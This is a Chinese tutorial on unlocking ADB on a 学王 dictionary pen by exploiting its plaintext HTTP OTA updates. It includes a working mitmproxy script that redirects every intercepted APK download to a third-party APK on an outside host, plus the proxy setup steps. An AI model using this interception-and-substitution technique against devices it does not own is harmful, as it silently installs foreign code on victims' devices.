学王词典笔 OTA 中间人劫持破解:解锁 ADB 的思路整理与实操补充

这篇整理自博客园「如雨的blog」星如雨yu 的一篇教程,原文针对的是已经换成动态密码的学王(JXW)词典笔。作者实测 P-900、P-800 都能用,更新过的恢复出厂后也可以用,而且到了 2026 年这个坑居然还在。我在这篇里把原文的思路理顺、把每个步骤背后的道理补上,再补充一些拿到 ADB 之后的做法和排错经验。原文链接放在文末。

先说结论:这套方案的核心,就是学王部分 OTA 服务器还在用不加密的 HTTP 下发更新包,设备的下载请求可以被中间人劫持。我们只要把设备本该下载的 APK 换成自己准备好的另外一个 APK(兽耳桌面),装好之后借它打开原生安卓设置,把平时被学王藏起来的开发者选项和 USB 调试开出来,后面就能正常用 ADB 装软件了。


核心思路一句话

学王的系统更新/应用更新走的是明文 HTTP,设备下载 APK 的请求不加密、也不校验服务器身份。我们在电脑上跑一个 mitmproxy 中间人代理,把词典笔的 WiFi 手动指向它,脚本检测到设备在下载 APK 时,返回一个 302 重定向,让设备改去下载我们准备好的兽耳桌面 APK。装好兽耳桌面后,就能绕过学王的定制桌面,打开被隐藏的原生设置,进而打开 USB 调试。

整条攻击链路可以拆成三步:劫持流量 → 替换安装包 → 解锁调试入口。下面逐个展开。


前置条件(对号入座)

动手前先确认设备符合下面几条,缺一条都可能白忙活:

  1. 设置 → 关于 界面里有 JXW 这一项。有它才说明这台设备用的是学王方案。作者的 JXW 版本已经屏蔽了之前所有的破解路径,连输入法设置都被精简掉了,所以别指望老套路。

  2. 连续点击「型号」进不去开发者选项,点「序列号 + 版本号」组合也不行。这说明常规解锁入口确实被封死了,才需要借助第三方桌面绕。

  3. 设置 → 更新 → 应用更新里,至少有一个可以更新的应用。后面劫持下载要用到。

  4. 有一台电脑,电脑和词典笔连同一个 WiFi。

有一条要特别提醒:不要连续点击版本号。连点版本号会进入产测模式(但进入设置的功能已经被移除),在回到原生设置之前你没法关掉「显示轨迹」这个功能,很影响使用。原文作者专门标红了这一点,照着避开。

原文配图,实际操作示意


原理拆解:为什么这个坑到现在还在

这一段展开讲讲,方便理解后面每一步为什么这么做。

HTTP 和 HTTPS 的差别决定了能不能被劫持。 HTTP 是明文协议,请求和响应在网络上裸奔,中间任何一个节点都能看、能改。HTTPS 在 HTTP 下面垫了一层 TLS,会加密内容并校验服务器证书,中间人想篡改会因为证书对不上直接失败。学王这套方案的问题就在于,它的 OTA 更新(至少是下 APK 的那部分)还在走 HTTP。一旦这个前提成立,劫持就只是时间问题。

mitmproxy 是什么、起到什么作用。 它是一个中间人代理工具。我们把词典笔的 WiFi 手动代理解析到电脑上,设备所有上网流量就会先经过电脑上的 mitmproxy,再转发出去。mitmproxy 允许我们写脚本,对经过的每个请求做拦截和改写。对于 HTTP 流量,这一步甚至不需要装证书。

302 重定向在这里的作用。 HTTP 的 302 状态码表示「资源不在这里,去 Location 指定的地址拿」。设备收到 302 后,会老老实实地转向新的下载地址。所以我们构造一个 302,把「设备本来要下的学王 APK」替换成「我们准备的兽耳桌面 APK」,设备根本不知道自己下的包被掉包了。

为什么偏偏是兽耳桌面。 因为学王的定制桌面把原生设置、开发者选项这些入口全藏掉了,装一个第三方桌面(launcher),就能从它的入口打开原生 Android 设置。打开原生设置之后,连点版本号解锁开发者选项、开 USB 调试,就和普通安卓机一样了。


环境准备与脚本

电脑上装好 mitmproxy 就行,装法这里不展开,不会的搜一下。然后把下面这段存成 mitm.py:

from mitmproxy import http

# 把设备下载 HTTP 协议的 apk 替换成兽耳桌面的 apk,
# 装好后点打开,就能打开设置、进而打开 ADB
def request(flow: http.HTTPFlow) -> None:
    # 判断请求 URL 里有没有 .apk
    if ".apk" in flow.request.pretty_url:
        # 命中就返回一个 302 重定向
        flow.response = http.Response.make(
            302,   # 状态码
            b"",   # 空响应体
            {
                "Location": "http://x1.ydyspc.com/mimikko101.apk",  # 重定向目标
                "Content-Type": "application/vnd.android.package-archive"
            }
        )

脚本逻辑很短,逐行说一下:

  • from mitmproxy import http 导入 mitmproxy 提供的 HTTP 类型。
  • def request(flow) 是 mitmproxy 的请求钩子,每个经过代理的请求都会被调一次。
  • flow.request.pretty_url 是这次请求的完整 URL,包含了 scheme、域名和路径。
  • ".apk" in flow.request.pretty_url 判断这个请求是不是在下载 APK。这里用的是很宽松的包含判断,只要 URL 里出现 .apk 就算命中。
  • http.Response.make(302, b"", {...}) 构造一个响应:状态码 302,响应体为空,Location 指向我们准备好的兽耳桌面 APK 下载地址,Content-Type 声明成安卓安装包。

启动代理用的是这条命令:

mitmproxy -s mitm.py

启动后默认监听 8080 端口,后面词典笔的代理就填电脑 IP + 8080。


详细操作步骤

按顺序来,中间有几步比较绕,我标了原因。

第一步:让词典笔暴露 WiFi 代理设置入口。

打开词典笔的设置,先把 WiFi 关掉,退出去。点「更新 → 系统更新 → 检查更新」,因为没网,会提示没网。这一步的目的不是真的检查更新,而是借这个「没网」的提示进到 WiFi 设置页面。进去之后点开 WiFi。

之所以要绕这么一下,是因为学王的设置界面把右上角搜索入口删掉了,常规路径进不去 WiFi 的高级设置,只能借「检查更新失败」这个入口绕进去。

第二步:把代理指向电脑。

长按你正在用的 WiFi 名,选「修改 WiFi 信息」,点「高级设置」,把代理改成「手动」,下面填电脑的 IP 地址(192 开头的那个,电脑设置 → 网络里能查到)和端口 8080,保存。

第三步:触发一次下载,让劫持生效。

返回主页,进「设置 → 更新」。这时候看电脑上 mitmproxy 的窗口,应该已经开始有请求滚动了。点「应用更新」,随便挑一个可以更新的应用,点「下载」。电脑上会出现一个 302 请求,这就是我们脚本伪造出来的响应,说明劫持成功。

第四步:安装掉包的 APK。

下载完成后点安装。这时候能看出来软件名字已经和原本不一样了,说明下到的确实是我们替换过的包。装完先别退出去,直接点打开,进入兽耳桌面的初始化。初始化里可以按引导改默认桌面,也可以不改、之后在设置里切回学王。

第五步:打开 USB 调试。

进「设置 → 关于设备」,连续点击版本号(注意是版本号,不是之前警告过的乱点,这时候已经进了原生设置,走的是普通安卓逻辑),打开开发者选项,再打开 USB 调试。然后用电脑连上词典笔,adb devices 能看到设备,接下来就能正常装软件了。


拿到 ADB 之后能干什么

到这步设备基本就解锁了,常见操作如下:

adb devices          # 确认设备连上
adb install xxx.apk  # 安装任意 APK
adb shell pm list packages   # 查看已装应用
adb shell            # 进入 shell 做更多操作

装第三方桌面、输入法、播放器之类的都可以这么来。如果你有自己想用的桌面,也可以在这步替换掉学王默认桌面。


排错与几个提醒

碰到问题先按这几条排查:

  • 代理不生效:确认词典笔和电脑在同一网段,代理填的是电脑的局域网 IP 而不是 127.0.0.1,端口是 8080。也确认电脑防火墙没把 8080 拦掉。
  • mitmproxy 没输出:检查词典笔是否真的把流量指过来了,可以随便在词典笔里开个网页刷新看看代理窗口有没有动静。
  • 点下载没触发 302:大概率是那个应用更新本身走的不是 HTTP,换个应用试试,或者确认脚本有没有正确加载。
  • 触发产测模式了:这就是连点版本号点出来的,回到原生设置之前「显示轨迹」关不掉,只能忍住少点。

最后说句负责的话:这套方法只针对你自己持有的设备。改机有风险,动了系统之后设备可能进不了官方保修,折腾前自己心里有数。别把这套东西用到别人的设备或违法用途上。


参考来源